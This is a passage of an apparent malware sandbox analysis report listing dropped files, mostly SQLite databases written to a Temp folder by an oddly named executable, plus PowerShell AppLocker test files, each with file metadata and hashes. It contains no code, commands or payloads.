Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YkxZureltn

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YyNdQO7oaw

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Z3tniEAHBZ

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Z8eh4A3lwq

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZB1YitlsvJ

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZOzuWkhAA9

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZSPkkmoOYn

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZVcGsQOBjY

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZdJTPnbHJh

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZvZOcGZs5I

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Zy0qWRQwFw

Download File

Process:	C:\Windows\ShellExperiences\uAsLgsGzSk.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0piihyu2.y05.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0reb5ltw.iuj.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_13f5ijui.x32.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_350p11lp.zhr.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4e0wdpmj.tjm.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4jfwhozq.s1v.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aricztu0.q1l.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fsmvelot.23s.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_grih5ibv.mfd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i2lw2ojv.tck.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lszaq003.103.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mpkj33ec.ozm.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mwcj452o.0ej.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_opdclvzj.b1x.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pkzr0vuz.1au.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_srk4mdps.fdn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ubttqbhs.rym.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vvefelv0.uln.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xcsvh3wg.g3h.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zhzlzsge.cnd.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
